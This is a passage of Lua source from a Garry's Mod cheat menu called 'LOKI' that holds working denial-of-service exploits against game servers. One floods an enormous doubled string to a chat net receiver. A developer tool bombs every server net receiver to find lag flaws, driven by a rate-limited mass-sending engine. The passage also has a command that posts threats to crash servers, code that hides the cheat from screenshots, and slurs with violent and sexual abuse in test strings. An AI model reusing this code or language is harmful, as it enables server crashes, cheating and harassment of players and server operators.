1894 Plist:SetSize( LOKI.Menu:GetWide() - 90, LOKI.Menu:GetTall() - 35 )
1895 Plist:SetPadding( 5 )
1896 Plist:SetSpacing( 5 )
1897 Plist:EnableHorizontal( false )
1898 Plist:EnableVerticalScrollbar( false )
1899 Plist:SetPos( 80, 25 )
1900 Plist:SetName( "" )
1901 LOKI.MakeFunctionButton( LOKI.Menu, 10, 140, "Load Config", LOKI.LoadConfig, "Load a saved loki config" )
1902 LOKI.MakeFunctionButton( LOKI.Menu, 10, 170, "Save Config", LOKI.SaveConfig, "Save your loki config" )
1903 --LOKI.MakeFunctionButton( LOKI.Menu, 12, LOKI.Menu:GetTall() - 35, " net.Send ", LOKI.NetmessagePanel, "" )
1904 LOKI.CreatePanel = function( Name, t, parent )
1905 if !LOKI.Menu || !LOKI.Menu:IsVisible() then return end
1906 for _, tab in ipairs( t.functions ) do
1907 if tab.typ == "bools" && istable(tab.tbl) then
1908 if(!t.count) then
1909 t.count = {
1910 ["Active"] = 1,
1911 ["Total"] = 1,
1912 }
1913 end
1914 if(!t.count.Counted) then
1915 if(!t.count.Counted) then
1916 t.count.Total = t.count.Total - 1
1917 t.count.Counted = true
1918 end
1919 t.count.Total = t.count.Total .. table.Count(tab.tbl)
1920 end
1921 local funcs = {}
1922 for k, v in pairs(tab.tbl) do
1923 if(LOKI.ValidNetString(v)) then
1924 t.count.Active = t.count.Active + 1
1925 local tab = LOKI.GetDetour("table.Copy", table.Copy)(tab)
1926 tab.typ = "bool"
1927 tab.ToggleText = {k}
1928 tab.border = true
1929 tab.bool = v
1930 tab.channel = v
1931 tab.tbl = nil
1932 table.insert(t.functions, tab)
1933 t.bools[v] = false
1934 end
1935 end
1936 table.RemoveByValue(t.functions, tab)
1937 t.typ = "bools"
1938 end
1939 end
1940 if(#t.functions == 0) then return end
1941 local cmdp = LOKI.vgui.Create( "DPanel", parent )
1942 cmdp:SetSize( Plist:GetWide(), 70 )
1943 cmdp.Cmd = Name
1944 cmdp.Desc = isfunction(t.desc) && t.desc() || t.desc
1945 local status = isfunction(t.status) && t.status() || t.status
1946 if(status != nil && StatusText[status] && StatusColors[status]) then
1947 cmdp.Status = StatusText[status]
1948 cmdp.StatusCol = StatusColors[status]
1949 else
1950 cmdp.Status = "Unknown"
1951 cmdp.StatusCol = StatusColors[2]
1952 end
1953 cmdp.Paint = function( s, w, h )
1954 if(!LOKI.Menu || !LOKI.Menu:IsVisible()) then return cmdp:Remove() end
1955 local severity = isfunction(t.severity) && t.severity() || t.severity
1956 surface.SetDrawColor( Color(50, 50, 50, 245) )
1957 surface.DrawRect( 0, 0, w, h )
1958 surface.SetDrawColor( LOKI.GetColor(severity) || Color(255, 255, 255) )
1959 surface.DrawOutlinedRect( 0, 0, w, h )
1960 surface.DrawLine( 0, 24, w, 24 )
1961 local r_tbl = LOKI.RecursiveGetVar(t, {"vars", "Think"}, "table", true)
1962 if(r_tbl.cooldown && r_tbl.cooldown - LOKI.REAL_CURTIME >= 0) then
1963 local cooldown = r_tbl.cooldown - LOKI.REAL_CURTIME
1964 LOKI.DrawText( string.format(cmdp.Cmd.."%s", " [" .. LOKI.SecondsToClock(cooldown) .. "]"), "DermaDefault", 10, 5, Color(255,255,255) )
1965 else
1966 r_tbl.cooldown = 0
1967 LOKI.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
1968 end
1969 if(severity > 0) then
1970 LOKI.DrawText( "Status: ", "DermaDefault", 595 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, Color(255,255,255) )
1971 LOKI.DrawText( cmdp.Status, "DermaDefault", 635 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, cmdp.StatusCol )
1972 end
1973 LOKI.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
1974 end
1975 local width, height = cmdp:GetSize()
1976 local nfunctions = #t.functions
1977 local x = 10
1978 for _, tab in ipairs( t.functions ) do
1979 tab.max_width = (width / nfunctions) - (nfunctions * 5)
1980 if(tab.required == nil || tab.required == true) then
1981 if tab.typ == "func" then
1982 x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, tab.Name, t, nil, tab )
1983 elseif tab.typ == "bool" then
1984 x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, (!((LOKI.NotNil(tab.bool) && t.bools[tab.bool]) || t.bools.enabled) && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop")), t, nil, tab, tab.border)
1985 elseif tab.typ == "players" then
1986 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab )
1987 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1988 elseif tab.typ == "player" then
1989 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab, true )
1990 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1991 elseif tab.typ == "entities" then
1992 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab )
1993 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1994 elseif tab.typ == "entity" then
1995 x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab, true )
1996 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
1997 elseif tab.typ == "string" then
1998 x = (x + 5) + LOKI.MakeTextInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
1999 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
2000 elseif tab.typ == "combo" then
2001 x = (x + 5) + LOKI.MakeComboButton( cmdp, x, 42, tab.Name, tab.default, tab.addr, tab.tbl, tab.restriction, tab.var, tab.sort, tab.find )
2002 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
2003 elseif tab.typ == "float" then
2004 x = (x + 5) + LOKI.MakeNumberInputButton( cmdp, x, 42, tab.Name, tab.default, tab.min, tab.max, tab.addr )
2005 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
2006 elseif tab.typ == "vector" then
2007 x = (x + 5) + LOKI.MakeVectorInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
2008 if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
2009 end
2010 end
2011 end
2012 Plist:AddItem( cmdp )
2013 end
2014 end
2015 local reset = false
2016 if(LOKI.BAIT_LIMIT != LOKI.GetStored( "baitthreshold", 5 )) then
2017 reset = true
2018 LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
2019 end
2020 local det_call = LOKI.DetourCall || false
2021 LOKI.DetourCall = true
2022 for k, v in ipairs(LOKI.GetAllExploits()) do
2023 if(reset) then v.scanned = false end
2024 LOKI.BlockNetOutgoing = true
2025 local scan = (v.scanned && !v.scan_always) || v.scan(v)
2026 LOKI.BlockNetOutgoing = false
2027 if scan then
2028 local Name = v.Name
2029 if(v.severity != 0 && #LOKI.GetExploit(Name) > 1) then
2030 Name = Name .. " #" .. v.Index
2031 end
2032 LOKI.CreatePanel( Name, v, Plist )
2033 if(scan != true) then v.channel = scan end
2034 if(!v.scanned) then
2035 if(isfunction(v.initial)) then
2036 v.initial(v)
2037 end
2038 v.scanned = true
2039 end
2040 if(v.hooks && istable(v.hooks)) then
2041 for k2, v2 in pairs(v.hooks) do
2042 if(LOKI.Hooks[k2] && LOKI.Hooks[k2][""]) then continue end
2043 if(events[k2] && !eventsR[k2]) then
2044 gameevent.Listen(k2)
2045 eventsR[k2] = true
2046 end
2047 local ret_val = nil
2048 hook_Add(k2, "", function(gm_ret, ...)
2049 local det_call = LOKI.DetourCall || false
2050 LOKI.DetourCall = true
2051 local skip = false
2052 if(LOKI.Killswitch || LOKI.Unload) then skip = true end
2053 local varargs = {...}
2054 if((k2:find("Draw") || k2:find("Render") || k2:find("HUD") || k2:find("Paint"))) then
2055 if(!system.HasFocus() || input.IsKeyDown(input.GetKeyCode(input.LookupBinding("jpeg") || "F5")) || input.IsKeyDown(KEY_F12)) then
2056 skip = true
2057 end
2058 end
2059 if(!skip) then
2060 for k3, v3 in ipairs( LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true) ) do
2061 if(!LOKI.GetEnabled(v3)) then continue end
2062 if((v3.hooks) && istable(v3.hooks) && v3.scanned) then
2063 local cooldown = LOKI.RecursiveGetVar(v3, {"vars", k2, "cooldown"}, "number")
2064 if(cooldown && cooldown - LOKI.REAL_CURTIME >= 0) then continue end
2065 if(k2 == "Think" && isfunction(v3.hooks[k2])) then
2066 if(v3.severity == 0) then
2067 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2068 if(ret || ret == false) then
2069 ret_val = ret
2070 end
2071 else
2072 if(LOKI.NEXT_TIME <= SysTime()) then
2073 LOKI.RAN_THIS_TICK = true
2074 local tpt = (isfunction(v3.times_per_tick) && v3.times_per_tick(v3) || (v3.times_per_tick))
2075 local limit = 0
2076 if(!istable(tpt)) then
2077 limit = math.Clamp(math.Round(LOKI.SafeToNumber(LOKI.SafeToNumber(tpt))), 1, math.huge)
2078 else
2079 limit = LOKI.GetRateLimitedTimesPerTick() / #tpt
2080 end
2081 if(limit == math.huge) then
2082 limit = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT )
2083 end
2084 if(limit < LOKI.GetRateLimitedTimesPerTick()) then
2085 if(!LOKI.BUFFER) then
2086 LOKI.BUFFER = 0
2087 end
2088 LOKI.BUFFER = LOKI.BUFFER + LOKI.GetRateLimitedTimesPerTick() - limit
2089 end
2090 if(!limit || limit > LOKI.GetRateLimitedTimesPerTick()) then
2091 if(LOKI.BUFFER) then
2092 local tbl = LOKI.GetVarTable(LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true), "times_per_tick", LOKI.TYPEVARS.MORETHAN, LOKI.GetRateLimitedTimesPerTick())
2093 local tbl_C = 0
2094 for k4, v4 in ipairs(tbl) do
2095 tbl_C = tbl_C + LOKI.GetEnabledCount(v4)
2096 end
2097 local BUFFER = math.Round(LOKI.BUFFER / tbl_C)
2098 if(BUFFER == 0) then
2099 BUFFER = LOKI.BUFFER
2100 end
2101 BUFFER = math.Round(math.Clamp(BUFFER, 0, math.huge))
2102 limit = LOKI.GetRateLimitedTimesPerTick() + BUFFER
2103 LOKI.BUFFER = math.Round(math.Clamp(LOKI.BUFFER - BUFFER, 0, math.huge))
2104 else
2105 limit = LOKI.GetRateLimitedTimesPerTick()
2106 end
2107 end
2108 local mpt = (isfunction(v3.msgs_per_tick) && v3.msgs_per_tick(v3) || (v3.msgs_per_tick || 1))
2109 if(mpt > 1) then
2110 limit = limit / mpt
2111 end
2112 limit = math.Clamp(math.Round(LOKI.SafeToNumber(limit)), 1, math.huge)
2113 /*if(v3.Sender) then
2114 print("Sending " .. limit * mpt .. " for " .. v3.Name, v3.Index)
2115 end*/
2116 for i=1,limit do
2117 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2118 if(ret || ret == false) then
2119 ret_val = ret
2120 end
2121 end
2122 end
2123 end
2124 elseif(isfunction(v3.hooks[k2])) then
2125 if(k2 == "PostRender") then
2126 cam.Start2D()
2127 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2128 cam.End2D()
2129 else
2130 ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
2131 end
2132 if(ret || ret == false) then
2133 ret_val = ret
2134 end
2135 end
2136 end
2137 end
2138 end
2139 if(k2 == "Think" && LOKI.RAN_THIS_TICK) then
2140 LOKI.NEXT_TIME = SysTime() + (engine.TickInterval() * (LOKI.TICK_RATE / LOKI.GetStored( "tickdelay", LOKI.TICK_RATE)))
2141 LOKI.RAN_THIS_TICK = false
2142 end
2143 LOKI.DetourCall = det_call
2144 if(ret_val) then
2145 return ret_val
2146 elseif(ret_val == false) then
2147 return false
2148 end
2149 end)
2150 end
2151 end
2152 end
2153 end
2154 LOKI.DetourCall = det_call
2155 ActiveCount()
2156 if(istable(LAST_TABLE)) then
2157 table.Empty(LAST_TABLE)
2158 end
2159 end
2160 LOKI.concommand.Add( "lowkey_menu", LOKI.OpenMenu)
2161 concommand.Add("+lowkey_tele", function()
2162 LOKI.Freecam.Toggle(true)
2163 end)
2164 concommand.Add("-lowkey_tele", function()
2165 LOKI.Freecam.Toggle(false)
2166 end)
2167 local ctxlines = {
2168 "Hi, my name is Crash Jackson.",
2169 "I have access to 4 paid alts, each one of which allows me access to 5 other family shared steam alts.",
2170 "I plan to crash your server repeatedly until every single alt is banned.",
2171 "Then I'll buy some more alts and start over again.",
2172 "I won't stop until your server is down forever.",
2173 "Have a nice day.",
2174 }
2175 function LOKI.CrashJackson( p, cmd, arg )
2176 for k, v in pairs( ctxlines ) do
2177 if DarkRP then
2178 timer.Simple( k * 2, function() RunConsoleCommand("say", "// "..v) end )
2179 else
2180 timer.Simple( k * 2, function() RunConsoleCommand("say", v) end )
2181 end
2182 end
2183 end
2184 LOKI.concommand.Add( "lowkey_crashjackson", LOKI.CrashJackson )
2185 LOKI.concommand.Add( "lowkey_unload", function() LOKI.Killswitch = true end )
2186
2187 local messagetypes = {
2188 [1] = { ["col"] = Color( 255, 255, 255 ), ["icon"] = Material( "icon16/application_xp_terminal.png" ) }, -- neutral message
2189 [2] = { ["col"] = Color( 250, 200, 140 ), ["icon"] = Material( "icon16/cross.png" ) }, -- negative message
2190 [3] = { ["col"] = Color( 180, 250, 180 ), ["icon"] = Material( "icon16/tick.png" ) }, -- positive message
2191 [4] = { ["col"] = Color( 250, 140, 140 ), ["icon"] = Material( "icon16/error.png" ) }, -- error message
2192 [5] = { ["col"] = Color( 180, 180, 250 ), ["icon"] = Material( "icon16/user.png" ) }, -- blue message
2193 [6] = { ["col"] = Color( 250, 250, 180 ), ["icon"] = Material( "icon16/lightbulb.png" ) }, -- lightbulb message
2194 }
2195
2196 local aegiscomponent = { color = -1, name = "Aegis" }
2197
2198 local notifies = {}
2199 local tableinsert = table.insert
2200 local istable = istable
2201 local error = error
2202
2203 function LOKI.Notify( component, type, text )
2204 if !messagetypes then return end
2205 if !component or !istable( component ) then component = { color = Color( 255, 0, 0 ), name = "DEFINE A SCRIPT COMPONENT PROPERLY YOU AUTIST" } end
2206 if !messagetypes[type] then
2207 tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = Color(255,0,0), ["ctxt"] = "[ AEGIS ERROR ]", ["icon"] = "icon16/error.png", ["col"] = Color(255,0,0), ["txt"] = "Invalid aegis notify type! must be 1-6!" } )
2208 return
2209 end
2210 if component.color == -1 then component.color = Color( 55, 55, 155 ) end
2211 tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = component.color, ["ctxt"] = "[ "..component.name.." ]", ["icon"] = messagetypes[type].icon, ["col"] = messagetypes[type].col, ["txt"] = text } )
2212 end
2213
2214 /*for i=1, 6 do
2215 LOKI.Notify( { color = Color(150, 150, 150, 245), name = "Loki" }, i, "Loki v2 Colour Test" )
2216 end*/
2217
2218 local function DrawNotifies()
2219 -- if !messagetypes then return end
2220 local x, y = 10, ScrH() / 2
2221 local cutoff = 0
2222 for k, v in pairs( notifies ) do
2223 if cutoff > 30 then continue end
2224 cutoff = cutoff + 1
2225 local lx = 10
2226 local timeleft = v.time - CurTime()
2227 if timeleft < 2 then lx = 10 - ( ( 2 - timeleft ) * 800 ) end -- pull back into the edge of the screen at the end of the timer
2228 if timeleft <= 0.5 then notifies[k] = nil continue end -- your time is up faggot
2229 local bgcol = Color( v.ccol.r, v.ccol.g, v.ccol.b, 145 )
2230 local bgcol2 = Color( v.col.r, v.col.g, v.col.b, 145 )
2231 surface.SetDrawColor( v.ccol )
2232 local txw, txh = draw.SimpleText( v.ctxt, "Trebuchet18", lx, y, v.ccol, 0, 0 )
2233
2234 surface.SetDrawColor( bgcol )
2235 surface.DrawRect( lx - 5, y - 1, txw + 10, 20 )
2236 surface.DrawLine( lx - 5, y - 1, lx - 5 + (txw + 10), y - 1 )
2237
2238 surface.SetDrawColor( Color(255,255,255, 150) )
2239 surface.SetMaterial( v.icon )
2240 surface.DrawTexturedRect( (lx - 5) + txw + 16, y + 1, 16, 16 )
2241
2242 txw = txw + 22
2243
2244 local txw2, txh2 = draw.SimpleText( v.txt, "Trebuchet18", (lx - 5) + txw + 20, y, v.col, 0, 0 )
2245 surface.SetDrawColor( bgcol2 )
2246 surface.DrawRect( (lx - 5) + txw + 15, y - 1, txw2 + 10, 20 )
2247 surface.DrawLine( (lx - 5) + txw + 15, y - 1, ((lx - 5) + txw + 15) + txw2 + 10, y - 1 )
2248
2249 y = y - 25
2250 end
2251 end
2252
2253 setmetatable(net.ReadVars, {
2254 __index = function(self, key)
2255 return net.ReadVars[key] || net.ReadVars[0]
2256 end,
2257 })
2258 /*LOKI.AddAllReceivers = function()
2259 for i = 1, math.huge do
2260 local str = LOKI.GetDetour("util.NetworkIDToString", util.NetworkIDToString)(i)
2261 if not str then return false end
2262
2263 LOKI.AddExploit( str, {
2264 desc = "Potential lagsploit",
2265 severity = 0,
2266 bools = {enabled = false},
2267 status = -1,
2268 times_per_tick = math.huge,
2269 scan = function() return LOKI.ValidNetString( str ) end,
2270 hooks = {
2271 Think = function(tbl, sploit)
2272 LOKI.NetStart( sploit,str)
2273 net.SendToServer()
2274 end,
2275 },
2276 functions = {
2277 { typ = "bool", },
2278 },
2279 } )
2280 end
2281 end
2282 LOKI.concommand.Add("lowkey_addall", LOKI.AddAllReceivers)*/
2283 local str = "\n"
2284 LOKI.AddExploit( "lag_func", {
2285 desc = "Test exploit. (if this works let me know so I can officially enable it)",
2286 severity = 1,
2287 bools = {enabled = false},
2288 status = -1,
2289 times_per_tick = math.huge,
2290 scan = function() return LOKI.ValidNetString( "fp_chatText" ) end,
2291 hooks = {
2292 Think = function(tbl, sploit)
2293 if(str == "\n") then
2294 for i = 1, 65533 do
2295 str = str .. str
2296 end
2297 end
2298 LOKI.NetStart( sploit, "fp_chatText")
2299 net.WriteString(str)
2300 net.SendToServer()
2301 end,
2302 },
2303 functions = {
2304 { typ = "bool", },
2305 },
2306 } )
2307 if(LOKI.Developer) then
2308 LOKI.AddExploit( "Lagsploit Tester", {
2309 desc = "Bomb any receiver to find lagsploits",
2310 severity = -1,
2311 bools = {enabled = false},
2312 status = 1,
2313 times_per_tick = math.huge,
2314 vars = {},
2315 scan = function() return true end,
2316 hooks = {
2317 Think = function(tbl, sploit)
2318 if(LOKI.GetStored("tester1")[2] == "*") then
2319 sploit.times_per_tick = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / #LOKI.Receivers
2320 for k, v in ipairs(LOKI.Receivers) do
2321 if(v.str != "*") then
2322 LOKI.NetStart(sploit, v.str)
2323 net.SendToServer()
2324 end
2325 end
2326 else
2327 sploit.times_per_tick = math.huge
2328 LOKI.NetStart(sploit, LOKI.GetStored("tester1")[2])
2329 net.SendToServer()
2330 end
2331 end,
2332 },
2333 functions = {
2334 { typ = "combo", Name = "Sender", tbl = LOKI.GetAllReceivers(), restriction = nil, var = "str", sort = "str", find = "str", default = -1, addr = "tester1" },
2335 { typ = "bool", },
2336 },
2337 } )
2338 end
2339 //////////////////////////////////////////////- SPLOITS -////////////////////////////////////////////////
2340
2341 LOKI.AddExploit( "Test Sploit", {
2342 desc = "Does nothing, used for menu testing",
2343 severity = 1,
2344 bools = {enabled = true},
2345 status = 1,
2346 times_per_tick = 1,
2347 vars = {},
2348 scan = function() return false end,
2349 count = {
2350 ["Active"] = 25,
2351 ["Total"] = 25,
2352 },
2353 hooks = {
2354 Think = function(tbl, sploit)
2355 PrintTable(tbl)
2356 print( LOKI.GetStored( "teststring", "" ).." is such a fucking gay nigger omg" )
2357 end,
2358 },
2359 functions = {
2360 { typ = "float", Name = "Niggers to kill", default = 1, min = 0, max = 100, addr = "testfloat" },
2361 { typ = "string", Name = "Enter a gay cunt", default = "you", addr = "teststring" },
2362 { typ = "players", addr = "testplayers" },
2363 { typ = "func", Name = "Fist his holes", args = {LOKI.GetLP()}, },
2364 },
2365 } )
2366
2367 function LOKI.TIME_TO_TICKS( dt ) return( LOKI.SafeToNumber( 0.5 + LOKI.SafeToNumber(dt) / engine.TickInterval() ) ) end
2368 function LOKI.TICKS_TO_TIME( t ) return( engine.TickInterval() *( t ) ) end
2369 function LOKI.ROUND_TO_TICKS( t ) return( engine.TickInterval() * LOKI.TIME_TO_TICKS( t ) ) end
2370 LOKI.DRAW_TPS = 0
2371 LOKI.OS_TIME = 0
2372 LOKI.TICK_RATE = math.Round( 1 / engine.TickInterval() )
2373 LOKI.RATE_LIMIT = 1028
2374 LOKI.NEXT_TIME = 0
2375 LOKI.REAL_CURTIME = 0
2376 function LOKI.DrawText(...)--text, font, x, y, col
2377 if true then return draw.SimpleText(...) end
2378 surface.SetFont( font )
2379 surface.SetTextColor( col )
2380 surface.SetTextPos( x, y )
2381 surface.DrawText( tostring(text) )
2382 end
2383 function LOKI.GetRateLimitedTimesPerTick()
2384 local enabled = LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true)
2385 local senders = LOKI.GetVarTable(enabled, "Sender", LOKI.TYPEVARS.EQUALTO, true)
2386 local count = #senders
2387 for k, v in ipairs(senders) do
2388 local tbl_C = table.Count(v.bools)
2389 if(tbl_C > 1) then
2390 for k2, v2 in pairs(v.bools) do
2391 if(k2 != "enabled") then
2392 if(v2 == true) then
2393 count = (count + 1)
2394 end
2395 else
2396 count = count - 1
2397 end
2398 end
2399 end
2400 end
2401 local limit = count
2402 if(limit <= 0) then
2403 limit = 1
2404 end
2405 return math.Clamp(
2406 math.Round(
2407 (LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / LOKI.GetStored( "tickdelay",
2408 LOKI.TICK_RATE) / limit) * (LOKI.GetStored( "tickdelay", LOKI.TICK_RATE) / math.min(LOKI.GetStored( "tickdelay", LOKI.TICK_RATE), math.max(LOKI.GetStored( "fpsthreshold", 5 ), (1 / FrameTime()))))), 1, math.huge)
2409 end
2410 if(GAMEMODE.LimitHit) then GAMEMODE.LimitHit = function() return false end end
2411 LOKI.DrawPanels = {}
2412 LOKI.AddExploit( "Loki Settings", {
2413 desc = "Tweak performance",
2414 severity = 0,
2415 bools = {enabled = true},
2416 status = 4,
2417 times_per_tick = 1,
2418 vars = {},
2419 scan = function() return true end,
2420 hooks = {
2421 CreateMove = function(tbl, sploit, varargs)
2422 LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
2423 local cmd = varargs[1]
2424 if(cmd:TickCount() == 0 || cmd:CommandNumber() == 0) then return end
2425 if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then
2426 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_SPEED))
2427 end
2428 hook.Run("CL_Move", unpack(varargs))
2429 end,
2430 SetupMove = function(tbl, sploit, varargs)
2431 hook.Run("CL_PostMove", unpack(varargs))
2432 end,
2433 PostRender = function()
2434 LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
2435 render.SetRenderTarget( render.GetRenderTarget() )
2436 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2437 if((LOKI.Freecam.Enabled == true || (IsValid(ent) && ent.OBBCenter)) && !gui.IsGameUIVisible()) then
2438 render.RenderView( LOKI.Freecam.Data )
2439 for k, v in ipairs(vgui.GetWorldPanel():GetChildren()) do
2440 if IsValid(v) && v:IsVisible() then
2441 v:PaintManual()
2442 end
2443 end
2444 /*LOKI.GeneralOverride = true
2445 LOKI.GetLP():DrawModel()
2446 LOKI.GeneralOverride = false*/
2447 end
2448 LOKI.LAST_RENDER = SysTime()
2449 LOKI.DrawText( LOKI.DRAW_TPS .. "/" .. LOKI.TICK_RATE .. " - " .. LOKI.GetRateLimitedTimesPerTick(), "TargetID", 0, 0, Color( 255, 255, 255, 255 ) )
2450 cam.Start3D()
2451 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2452 if(IsValid(ent) && ent.OBBCenter) then
2453 if(ent:IsDormant()) then
2454 ent:DrawModel()
2455 end
2456 else
2457 LOKI.IsHovered = false
2458 LOKI.SpectateEnt = false
2459 end
2460 hook.Run("Render3D")
2461 cam.End3D()
2462 hook.Run("Render2D")
2463 DrawNotifies()
2464 for k, v in ipairs(LOKI.DrawPanels) do
2465 if IsValid(v) && v:IsVisible() then
2466 v:PaintManual()
2467 end
2468 end
2469 end,
2470 CalcView = function(tbl, sploit, varargs)
2471 local ply, pos, angles, fov, drawviewer = unpack(varargs)
2472 drawviewer = false
2473 local ent = LOKI.IsHovered || LOKI.SpectateEnt
2474 if(IsValid(ent) && ent.OBBCenter) then
2475 drawviewer = true
2476 pos = (ent:GetPos() + ent:OBBCenter())
2477 local tr = util.TraceLine( {
2478 start = pos,
2479 endpos = (ent:GetPos() + ent:OBBCenter())-( angles:Forward()*100 ),
2480 filter = function( hitent ) if ( hitent == ent ) then return false end end
2481 } )
2482 pos = tr.HitPos
2483 else
2484 LOKI.IsHovered = false
2485 LOKI.SpectateEnt = false
2486 end
2487 if ( LOKI.Freecam.SetView ) then
2488 LOKI.Freecam.ViewOrigin = pos
2489 LOKI.Freecam.SetView = false
2490 end
2491 if ( LOKI.Freecam.Enabled == true ) then
2492 LOKI.Freecam.Data = {origin = LOKI.Freecam.ViewOrigin, drawviewer = true, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false}
2493 else
2494 LOKI.Freecam.Data = ({ply = ply, origin = pos, angles = angles, fov = fov, drawviewer = drawviewer, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false})
2495 end
2496 //return LOKI.Freecam.Data
2497 end,
2498 StartCommand = function(tbl, sploit, varargs)
2499 local cmd = varargs[2]
2500 if ( LOKI.Freecam.Enabled == true ) then
2501
2502 LOKI.Freecam.ViewOrigin = LOKI.Freecam.ViewOrigin + ( LOKI.Freecam.Velocity )
2503 LOKI.Freecam.Velocity = LOKI.Freecam.Velocity * 0.95
2504
2505 local add = Vector( 0, 0, 0 )
2506 local ang = cmd:GetViewAngles()
2507 local move_mod = 4
2508 local speed_mod = 4
2509 if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() * move_mod end
2510 if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() * move_mod end
2511 if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() * move_mod end
2512 if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() * move_mod end
2513 if ( cmd:KeyDown( IN_JUMP ) ) then add = add + Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_JUMP) end
2514 if ( cmd:KeyDown( IN_DUCK ) ) then add = add - Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_DUCK) end
2515
2516 if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then add = add * speed_mod end
2517
2518 LOKI.Freecam.Velocity = LOKI.Freecam.Velocity + (add * RealFrameTime())
2519
2520 cmd:SetForwardMove( 0 )
2521 cmd:SetSideMove( 0 )
2522 cmd:SetUpMove( 0 )
2523
2524 end
2525 end,
2526 Tick = function(tbl, sploit)
2527 if(LOKI.RAW_FRAME_TIME == (1 / engine.ServerFrameTime())) then
2528 LOKI.DROPPED_FRAMES = LOKI.DROPPED_FRAMES + 1
2529 else
2530 LOKI.RAW_FRAME_TIME = (1 / engine.ServerFrameTime())
2531 LOKI.DROPPED_FRAMES = 0
2532 LOKI.REAL_CURTIME = _G.CurTime()
2533 end
2534 if(LOKI.OS_TIME != os.time()) then
2535 LOKI.DRAW_TPS = math.Clamp(LOKI.TICK_RATE - LOKI.DROPPED_FRAMES, 0, LOKI.TICK_RATE)
2536 LOKI.OS_TIME = os.time()
2537 end
2538 end,
2539 Think = function(tbl, sploit)
2540 local pan = vgui.GetHoveredPanel()
2541 if(IsValid(pan) && IsValid(pan.btnClose) && isfunction(pan.btnClose.SetVisible) && !pan.PaintedManually) then
2542 pan.btnClose:SetVisible( true )
2543 end
2544 end,
2545 OnReloaded = function()
2546 table.Empty(LOKI.Hooks)
2547 LOKI.RunDetours()
2548 if(IsValid(LOKI.Menu) && LOKI.Menu:IsVisible()) then
2549 LOKI.Menu:SetVisible(false)
2550 end
2551 LOKI.OpenMenu(true)
2552 end,
2553 concommand = {
2554 Run = function(sploit, varargs)
2555 if(LOKI.CommandList[ string.lower( varargs[2] ) ]) then
2556 pcall(function() LOKI.CommandList[ string.lower( varargs[2] ) ](unpack(varargs)) end)
2557 return false
2558 end
2559 end
2560 },
2561 gui = {
2562 ["*"] = function(tabk, funck, sploit, varargs)
2563 if(LOKI.DetourCall) then return end
2564 return false
2565 end
2566 },
2567 input = {
2568 ["*"] = function()
2569 return false
2570 end
2571 },
2572 render = {
2573 SetRenderTarget = function(sploit, varargs)
2574 //if(LOKI.GetStored( "securerenderer", false )) then return false end
2575 end
2576 },
2577 util = {
2578 NetworkIDToString = function(sploit, varargs)
2579 local det_call = LOKI.DetourCall
2580 LOKI.DetourCall = true
2581 LOKI.NetIncomingMsg = util.NetworkIDToString(varargs[1])
2582 LOKI.DetourCall = det_call
2583 if(!LOKI.NetIncomingMsg) then return end
2584 for k, v in ipairs(LOKI.GetAllExploits()) do
2585 local Receiver = LOKI.RecursiveGetVar(v, {"hooks", "net", "Receive"}, "function")
